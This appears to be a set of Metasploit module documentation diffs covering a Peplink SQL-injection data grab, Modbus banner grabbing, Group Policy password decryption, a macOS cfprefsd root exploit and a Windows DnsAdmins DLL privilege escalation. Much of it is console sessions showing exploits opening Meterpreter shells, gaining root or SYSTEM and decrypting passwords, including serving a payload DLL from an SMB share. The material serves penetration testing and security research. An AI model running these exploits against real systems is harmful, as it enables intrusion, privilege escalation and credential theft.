[+] 255.255.255.0
[+] ipaddr
[+] 192.168.1.254
[+] bridge_mvpn
[+] bridge_mode
[+] conn_method
[+] static
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkhubport_064122.txt
[*] Retrieving fhstroute
[+] data
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkfhstrout_739377.txt
[*] Retrieving ipsec
[+] data
[+] ipsec
[+] order
[+] nat
[+] linkinfo
[+] link {id=1}
[+] port {id=1}
[+] port_name
[+] WAN
[+] port_type
[+] ethernet
[+] actiavted
[+] name
[+] WAN
[+] enable
[+] order
[+] 1
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkipsec_320666.txt
[*] Retrieving wan_summary
[+] data
[+] connection_info
[+] conn {id=1}
[+] conn_method
[+] method
[+] dhcp
[+] modem_idle
[+] timeout
[+] 180
[+] backup_group
[+] 0
[+] mvpn_nat
[+] nat
[+] enable
[+] port_id
[+] 1
[+] name
[+] WAN
[+] order
[+] 1
[+] physical_info
[+] port {id=1}
[+] ethernet_info
[+] simulated_mac
[+] default_mac
[+] mac_clone
[+] mtu
[+] advertise
[+] speed
[+] port_name
[+] WAN
[+] type
[+] ethernet
[+] activated
[+] yes
[+] count
[+] 1
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkwan_summ_918579.txt
[*] Retrieving firewall
[+] data
[+] firewall_ids
[+] firewall_mvpn
[+] private_firewall
[+] default
[+] accept
[+] outbound_firewall
[+] default
[+] accept
[+] inbound_firewall
[+] default
[+] accept
[+] linkinfo
[+] link {id=1}
[+] port {id=1}
[+] port_name
[+] WAN
[+] port_type
[+] ethernet
[+] actiavted
[+] name
[+] WAN
[+] enable
[+] order
[+] 1
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkfirewall_758402.txt
[*] Retrieving cert_info
[+] data
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkcert_inf_603637.txt
[*] Retrieving mvpn_summary
[+] data
[+] mvpn
[+] order
[+] mvpn_nat_mode_dhcp_server
[+] has_nat_profile
[+] 0
[+] nat_remote
[+] 0
[+] subnet_mask
[+] 24
[+] pool_end
[+] 169.254.131.254
[+] pool_start
[+] 169.254.131.1
[+] enable
[+] 1
[+] restrict_advertise
[+] no
[+] hc_mode
[+] 0
[+] rn
[+] 1135-E8A0-DD29
[+] site_id
[+] 333
[+] l2vpn
[+] wanport_supported
[+] false
[+] wanport_name
[+] WAN Port Unavailable
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkmvpn_sum_970830.txt
[*] Auxiliary module execution completed
msf5 auxiliary(gather/peplink_bauth_sqli) >
```
Loot:
```
msf5 auxiliary(gather/peplink_bauth_sqli) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.1.254 peplink configuration tar gz application/binary /home/redouane/.msf4/loot/20200802153714_default_192.168.1.254_peplinkconfigur_157106.bin
192.168.1.254 peplink fhlicense_info text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkfhlicens_326973.txt
192.168.1.254 peplink sysinfo text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinksysinfo_385353.txt
192.168.1.254 peplink macinfo text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkmacinfo_525407.txt
192.168.1.254 peplink hostnameinfo text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkhostname_613045.txt
192.168.1.254 peplink uptime text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkuptime_488261.txt
192.168.1.254 peplink client_info text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkclient_i_529454.txt
192.168.1.254 peplink hubport text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkhubport_938262.txt
192.168.1.254 peplink fhstroute text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkfhstrout_737113.txt
192.168.1.254 peplink ipsec text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkipsec_055562.txt
192.168.1.254 peplink wan_summary text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkwan_summ_957693.txt
192.168.1.254 peplink firewall text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkfirewall_777226.txt
192.168.1.254 peplink cert_info text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkcert_inf_765605.txt
192.168.1.254 peplink mvpn_summary text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkmvpn_sum_890141.txt
msf5 auxiliary(gather/peplink_bauth_sqli) >
```
@@ -0,0 +1,98 @@
## Vulnerable Application
This module will perform banner grabbing on devices that use the Modbus protocol by sending
a payload with the function code 43 to read the target device's identification information.
For more technical information, you can refer to this link: https://en.wikipedia.org/wiki/Modbus#Available_function/command_codes.
By default the service is running on port 502, so any device with this port open could be a potential target.
## Verification Steps
1. Do: `use auxiliary/scanner/scada/modbus_banner_grabbing`
2. Do: `set RHOST <IP>` where IP is the IP address of the target.
3. Do: `run`
The response from the target device may contain several objects. Some of these objects can be seen below:
`vendor name, product code, revision number (in *major version*.*minor version* format), vendor url, product name, model name`
If the target was unable to process the Modbus message, a Modbus exception message will be returned from the target,
which will then be output to the screen.
Successful results from the scan will be stored as a `note` in the framework. You can access these notes by typing `note` in the console.
```
msf5 auxiliary(scanner/scada/modbus_banner_grabbing) > notes
Notes
=====
Time Host Service Port Protocol Type Data
---- ---- ------- ---- -------- ---- ----
2020-07-06 13:25:50 UTC 192.168.1.1 modbus 502 tcp modbus.vendorname "Schneider Electric"
2020-07-06 13:25:50 UTC 192.168.1.1 modbus 502 tcp modbus.productcode "BMX NOE 0100"
2020-07-06 13:25:50 UTC 192.168.1.1 modbus 502 tcp modbus.revision "V3.10"
```
## Options
There are no non-default options for this module.
## Scenarios
The following scenarios describe some of the responses you may receive from the target:
### Schneider Electric BMX NOE 0100 - Successful Response
```
msf6 > use auxiliary/scanner/scada/modbus_banner_grabbing
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run
[*] 192.168.1.1:502 - Number of Objects: 3
[+] 192.168.1.1:502 - VendorName: Schneider Electric
[+] 192.168.1.1:502 - ProductCode: BMX NOE 0100
[+] 192.168.1.1:502 - Revision: V3.10
[*] 192.168.1.1:502 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### Schneider Electric BMX NOE 0100 - No Reply
The target never replied to the attacker's request.
```
msf6 > use auxiliary/scanner/scada/modbus_banner_grabbing
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.2
RHOSTS => 192.168.1.2
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run
[-] 192.168.1.2:502 - MODBUS - No reply
[*] 192.168.1.2:502 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### Schneider Electric BMX NOE 0100 - Network Error
Some network error occurred, such as a connection error, a network timeout, or the connection was refused.
Alternatively, the host may be unreachable.
```
msf6 > use auxiliary/scanner/scada/modbus_banner_grabbing
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.3
RHOSTS => 192.168.1.3
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run
[-] 192.168.1.3:502 - MODBUS - Network error during payload: The connection timed out (217.71.253.52:502).
[*] 192.168.1.3:502 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### Schneider Electric BMX NOE 0100 - Modbus Exception Code (i.e. Memory Parity Error)
```
msf6 > use auxiliary/scanner/scada/modbus_banner_grabbing
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.4
RHOSTS => 192.168.1.4
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run
[-] 192.168.1.4:502 - Memory Parity Error: Slave detected a parity error in memory.
[*] 192.168.1.4:502 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,77 @@
## Vulnerable Application
This module enumerates files from target domain controllers and connects to them via SMB. It then looks for Group Policy
Preference XML files containing local/domain user accounts and passwords and decrypts them using Microsoft's public AES
key. This module has been tested successfully on a Win2k8 R2 Domain Controller.
### Test Environment
This vulnerability was patched in 2014 but Group Policy Prefence files can still be found in modern environments. Because of that it is
necessary to have a means to test this vulnerability in a contrived way.
Starting from a Windows Server that has been configured as an Active Directory Domain Controller:
1. Navigate to: `%SystemRoot%\SYSVOL\sysvol\$domain\Policies` where `$domain` is the name of the domain.
1. Create a subfolder. These folders typically use UUIDs within braces (e.g. `{31B2F340-016D-11D2-945F-00C04FB984F9}`) but the name does not
matter for testing purposes.
1. In the new a new file (and the necessary parent folders) `MACHINE\Preferences\Groups\Groups.xml`.
1. Place the contents below in the new `Groups.xml` file.
```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="SuperSecretBackdoor" image="0" changed="2013-04-25 18:36:07" uid="{B5EDB865-34F5-4BD7-9C59-3AEB1C7A68C3}">
<Properties action="C" fullName="" description="" cpassword="VBQUNbDhuVti3/GHTGHPvcno2vH3y8e8m1qALVO1H3T0rdkr2rub1smfTtqRBRI3" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="SuperSecretBackdoor"/>
</User>
</Groups>
```
This example XML data was taken from the unit test.
## Verification Steps
Example steps in this format (is also in the PR):
1. Start msfconsole
1. Do: `use auxiliary/scanner/smb/smb_enum_gpp`
1. Do: `set RHOSTS ...`
1. Do: `set SMBUser ...`
1. Do: `set SMBPass ...`
1. Do: `run`
### Windows Server 2019 (Test Setup)
The following example use the contrived setup from the "Test Environment" section.
```
msf6 auxiliary(scanner/smb/smb_enum_gpp) > use auxiliary/scanner/smb/smb_enum_gpp
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set SMBUSER smcintyre
SMBUSER => smcintyre
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set SMBPass Password1
SMBPass => Password1
msf6 auxiliary(scanner/smb/smb_enum_gpp) > run
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Mounting the remote share \\192.168.159.10\SYSVOL'...
[+] 192.168.159.10:445 - Found Policy Share on 192.168.159.10
[*] 192.168.159.10:445 - Parsing file: \\192.168.159.10\SYSVOL\msflab.local\Policies\fake\MACHINE\Preferences\Groups\Groups.xml
[+] 192.168.159.10:445 - Group Policy Credential Info
============================
Name Value
---- -----
TYPE Groups.xml
USERNAME SuperSecretBackdoor
PASSWORD Super!!!Password
DOMAIN CONTROLLER 192.168.159.10
DOMAIN msflab.local
CHANGED 2013-04-25 18:36:07
NEVER_EXPIRES? 1
DISABLED 0
[+] 192.168.159.10:445 - XML file saved to: /home/smcintyre/.msf4/loot/20200828163158_default_192.168.159.10_microsoft.window_053830.txt
[+] 192.168.159.10:445 - Groups.xml saved as: /home/smcintyre/.msf4/loot/20200828163158_default_192.168.159.10_smb.shares.file_279441.xml
[*] 192.168.159.10:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_enum_gpp) >
```
@@ -0,0 +1,70 @@
## Vulnerable Application
This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in
order to run a payload as root. The CFPreferencesSetAppValue function, which is
reachable from most unsandboxed processes, can be exploited with a race condition
in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login
a user can then login as root with the `login root` command without a password.
## Verification Steps
1. Get a session on a vulnerable system
2. `use exploit/osx/local/cfprefsd_race_condition`
3. `set lhost <IP>`
4. `set lport <PORT>`
5. `set session <session_id>`
6. `run`
## Scenarios
### macOS Catalina 10.15.4
```
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/osx user @ Users-Macbook-Pro.local (uid=501, gid=20, euid=501, egid=20) @ Users-M... 192.168.56.1:4444 -> 192.168.56.4:49451 (192.168.56.4)
msf6 exploit(multi/handler) > use exploit/osx/local/cfprefsd_race_condition
[*] Using configured payload osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/local/cfprefsd_race_condition) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf6 exploit(osx/local/cfprefsd_race_condition) > set LPORT 5555
LPORT => 5555
msf6 exploit(osx/local/cfprefsd_race_condition) > set SESSION 1
SESSION => 1
msf6 exploit(osx/local/cfprefsd_race_condition) > exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.56.1:5555
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.Ug0wUz4HX6' (17204 bytes) ...
[*] Writing '/tmp/.qZy9vVNU' (14748 bytes) ...
[*] Executing exploit '/tmp/.qZy9vVNU /etc/pam.d/login'
[*] Exploit result:
Trying 10000 calls...
access: Permission denied
pwned! /etc/pam.d/login is now writable!
[*] Running cmd:
echo '/tmp/.Ug0wUz4HX6 & disown' | login root
[*] Transmitting first stager...(210 bytes)
[*] Command output:
Last login: Tue Aug 18 09:56:20 on tty??
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (799916 bytes) to 192.168.56.4
[*] Meterpreter session 2 opened (192.168.56.1:5555 -> 192.168.56.4:49452) at 2020-09-04 17:36:45 +0800
meterpreter >
[+] /etc/pam.d/login was restored
meterpreter > getuid
Server username: root @ Users-Macbook-Pro.local (uid=0, gid=0, euid=0, egid=0)
```
@@ -0,0 +1,348 @@
## Vulnerable Application
Windows Server 2003 and above
#### Introduction
This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the
`ServerLevelPluginDll` value using dnscmd.exe to create a registry key at
`HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters\` named `ServerLevelPluginDll` that can be
made to point to an arbitrary DLL. Restarting the DNS service will then result in the attacker's DLL
being loaded and executed as the SYSTEM user, thereby granting the attacker SYSTEM privileges.
Note that if the option to drop the DLL file on the host is selected (instead of the option to use a UNC path), there is a possibility
that antivirus may detect the DLL file and remove it. In this case it will not be possible to restart the DNS service via the
Service Manager without first clearing out the `ServerLevelPluginDll` value of the
`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\`
key using an account with administrator privileges.
To avoid the potential of this occurring, this module has a configurable option, `AVTIMEOUT`, which allows users to configure
how long they would like to wait for any potential AV to pick up on the file after which the module will then check to
ensure the dropped DLL file exists prior to creating the `ServerLevelPluginDll` value within the
`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key.
It should also be noted that the UNC path option may run into a similar issue if an incorrect IP address is typed in, so users should
be especially careful when setting the value of `DLLPATH` to ensure that they don't inadvertently set an incorrect IP address and thereby
prevent the DNS server from being able to restart.
This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows
Server version up to and including Windows Server 2019.
### Setup Steps (Windows Server 2019 Standard)
1. Install Windows Server 2019 Standard with GUI
2. Install and configure Active Directory Domain Services and DNS services.
3. Promote the server to a domain controller once the initial setup wizard is
complete. This will complete the setup of the AD.
4. Reboot
5. Add a new user which I called normal and set its password to a long string such as
`thisIsADamnGoodPassword123!`. Don't use any other special characters or you may end up
violating the default password policy.
6. Add this new user to two groups: `DnsAdmins` (should have been created with the installation of
the DNS server and the AD Server), and `Remote Desktop Users`.
See https://www.snel.com/support/create-user-and-allow-rdp-permission-on-windows-server-2016/ for info
on how to do this.
7. To go `Group Policy Management -> Forest -> Domains -> *your domain name* -> Domain Controllers ->
Default Domain Controllers Policy` and right click on it, then select Edit. From here select Policies ->
Windows Settings -> Security Settings -> Local Policies -> User Right Managements and then select
the Allow log on locally policy underneath this and double click on it. Ensure the Define these
policy settings option is checked, and then select Add User or Group and add in the name of the
user that you just created. It should look something in the format of *domain name*\*user name*.
Then click Apply and click OK.
8. Run gpupdate again.
9. Reboot
10. You should now be able to log in as the new user, which should also be in the DnsAdmins group.
You can confirm this by running `net localgroup DnsAdmins` and confirming that the new user is
listed as a member of this group in the output returned.
11. Run `wmic useraccount where name='*username of the new account*'` to get the SID of the
new account that you added in earlier.
12. Run `sc sdset "DNS" D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CR;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;RPWPDTLO;;;S-x-x-xx-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxx-xxxx)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)`
in an elevated command prompt replacing the sample SID with the SID obtained via the earlier command
(aka the SID of the new low privileged user you added).
## Verification Steps
1. Get a Meterpreter shell
2. `use exploit/windows/local/dnsadmin_serverlevelplugindll`
3. `set PAYLOAD <payload>`. Payload architecture must be the same as the target system
4. `set LHOST <lhost>`
5. `set LPORT <lport>`
6. `set SESSION <session_no>` to specify session
7. `set DLLNAME <dllname>` if you want to name your DLL something other than `msf.dll`
8. `set DLLPATH <dllpath>` if you want to place your DLL somewhere other than `%TEMP%` or if you want to use a UNC path
9. `set MAKEDLL true` if you want to just make the DLL, and not carry out the exploit
10. `exploit` to get SYSTEM shell if `MAKEDLL` is set to `false`, or to write
the DLL to the `~/.msf4/local` folder if `MAKEDLL` is set to `true`
## Options
### DLLNAME
Name of the DLL to use.
### DLLPATH
Location of the DLL to use. If a UNC path is provided, the module will assume that the operator
has already performed the following actions:
1. Set up a working SMB2 share (via a tool such as Impacket's `smbserver.py` via a command such as
`sudo python3 smbserver.py -smb2support -ip 172.17.168.195 test /home/gwillcox/.msf4/local/`
2. Created a DLL of the same architecture as the target system and placed in within this share.
### MAKEDLL
If set to `true`, then just create the DLL, do not conduct the full exploit.
The resulting DLL will be stored in the `~/.msf4/local` directory.
### AVTIMEOUT
Time, in seconds, to wait for any AV on the target system to potentially pick up on the
dropped DLL file, prior to the module checking to see if the DLL file still exists. This
is needed to prevent a scenario where the DLL file gets removed and the module tries to make
changes that could prevent the DNS server from being able to start.
## Scenarios
### Windows Server 2019 Standard x64, writing `msf.dll` to `%TEMP%`
```
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll
s[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options
Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):
Name Current Setting Required Description
---- --------------- -------- -----------
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
DLLNAME msf.dll yes DLL name (default: msf.dll)
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
MAKEDLL false yes Just create the DLL, do not exploit.
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.17.168.195 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set RHOST 172.17.169.123
RHOST => 172.17.169.123
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 7788
LPORT => 7788
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
[*] Checking service state...
[*] Building DLL...
[+] Wrote DLL to C:\Users\normal\AppData\Local\Temp\1\msf.dll!
[*] Sleeping for 60 seconds to ensure the file wasn't caught by any AV...
[+] Looks like our file wasn't caught by the AV.
[!] Entering danger section...
[*] Modifying ServerLevelPluginDll to point to C:\Users\normal\AppData\Local\Temp\1\msf.dll...
[+] Registry property serverlevelplugindll successfully reset.
[*] Restarting the DNS service...
[*] Started bind TCP handler against 172.17.169.123:7788
[*] Sending stage (200262 bytes) to 172.17.169.123
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.17.169.123:7788) at 2020-09-09 14:48:59 -0500
meterpreter >
[+] Exited danger zone successfully!
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows RAPID7\normal @ WIN-M5JU6L5RA9L 0.0.0.0:0 -> 172.17.169.123:4444 (172.17.169.123)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN-M5JU6L5RA9L 0.0.0.0:0 -> 172.17.169.123:7788 (172.17.169.123)
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer : WIN-M5JU6L5RA9L
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : RAPID7
Logged On Users : 12
Meterpreter : x64/windows
meterpreter >
```
### Windows Server 2019 Standard x64, specifying a UNC path for ServerLevelPluginDll
The easiest way to set this up is to Impacket's `smbserver`. You can find the source code for Impacket at https://github.com/SecureAuthCorp/impacket.
Download the latest release and untar it, then `cd` into the new directory that is created. You should see a file named `setup.py`. Run the command
`sudo python3 setup.py install` and it will install Impacket for you. Once this is done, navigate to the `examples` directory and follow the following steps:
```
~/Desktop/impacket-0.9.21/examples sudo python3 smbserver.py -smb2support -ip 172.17.168.195 test /home/gwillcox/.msf4/local/
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```
This will create a SMBv2 server, listening on IP address 172.17.168.195, with a share named `test`, that will be sharing the contents of
the directory at `/home/gwillcox/.msf4/local/`. Next, set `MAKEDLL` to `true` and run the module to generate the payload.
```
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll
[*] Using configured payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3
SESSION => 3
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688
LPORT => 6688
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true
MAKEDLL => true
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options
Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):
Name Current Setting Required Description
---- --------------- -------- -----------
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
DLLNAME mp4.dll yes DLL name (default: msf.dll)
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
MAKEDLL true yes Just create the DLL, do not exploit.
SESSION 3 yes The session to run this module on.
Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 6688 yes The listen port
RHOST 172.17.169.123 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
[*] Building DLL...
[+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll
[*] Started bind TCP handler against 172.17.169.123:6688
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) >
```
Once the DLL has been generated, one can proceed with the actual exploit:
```
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL false
MAKEDLL => false
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLPATH \\\\172.17.168.195\\test
DLLPATH => \\172.17.168.195\test
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
[*] Checking service state...
[*] Using user-provided UNC path.
[!] Entering danger section...
[*] Modifying ServerLevelPluginDll to point to \\172.17.168.195\test\mp4.dll...
[+] Registry property serverlevelplugindll successfully reset.
[*] Restarting the DNS service...
[*] Started bind TCP handler against 172.17.169.123:6688
[*] Sending stage (200262 bytes) to 172.17.169.123
[*] Meterpreter session 4 opened (0.0.0.0:0 -> 172.17.169.123:6688) at 2020-09-09 15:06:33 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-M5JU6L5RA9L
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : RAPID7
Logged On Users : 12
Meterpreter : x64/windows
meterpreter >
```
### Windows Server 2019 Standard x64, just creating DLL
```
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll
[*] Using configured payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3
SESSION => 3
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688
LPORT => 6688
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true
MAKEDLL => true
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options
Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):
Name Current Setting Required Description
---- --------------- -------- -----------
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
DLLNAME mp4.dll yes DLL name (default: msf.dll)
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
MAKEDLL true yes Just create the DLL, do not exploit.
SESSION 3 yes The session to run this module on.
Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 6688 yes The listen port
RHOST 172.17.169.123 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
[*] Building DLL...
[+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll
[*] Started bind TCP handler against 172.17.169.123:6688
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) >
```
## Notes
1. This module is not particularly opsec-safe as it drops a DLL to disk, writes to
the registry, and is sure to generate a ton of event logs when the DNS service is
stopped and restarted..
2. Automatic cleanup of the dropped DLL is attempted if the DLL has been written to
disk, but if automatic cleanup fails manual cleanup may be necessary.
@@ -2,7 +2,8 @@
## Vulnerable Application
This module will attempt to enumerate which patches are applied to a
windows system based on the result of the WMI query: `SELECT HotFixID FROM Win32_QuickFixEngineering`.
Windows system, as well as on which date they were applied, based on
the result of the WMI query `SELECT HotFixID, InstalledOn FROM Win32_QuickFixEngineering`.
## Verification Steps
@@ -28,37 +29,31 @@
## Scenarios
### Windows 7 (6.1 Build 7601, Service Pack 1).
### Windows 10 x64 v1909
```
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49223) at 2019-12-14 08:37:46 -0700
msf6 exploit(multi/handler) > use post/windows/gather/enum_patches
msf6 post(windows/gather/enum_patches) > show options
msf > use post/windows/gather/enum_patches
msf post(windows/gather/enum_patches) > set SESSION 1
SESSION => 1
msf post(windows/gather/enum_patches) > run
[-] Known bug in WMI query, try migrating to another process
[*] Post module execution completed
msf post(windows/gather/enum_patches) > sessions 1
[*] Starting interaction with 1...
meterpreter > run post/windows/manage/migrate
Module options (post/windows/gather/enum_patches):
[*] Running module against TEST-PC
[*] Current server process: Explorer.EXE (1908)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3992
[+] Successfully migrated to process 3992
meterpreter > background
[*] Backgrounding session 1...
msf post(windows/gather/enum_patches) > run
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
[+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)
[+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008
[+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2
[+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity
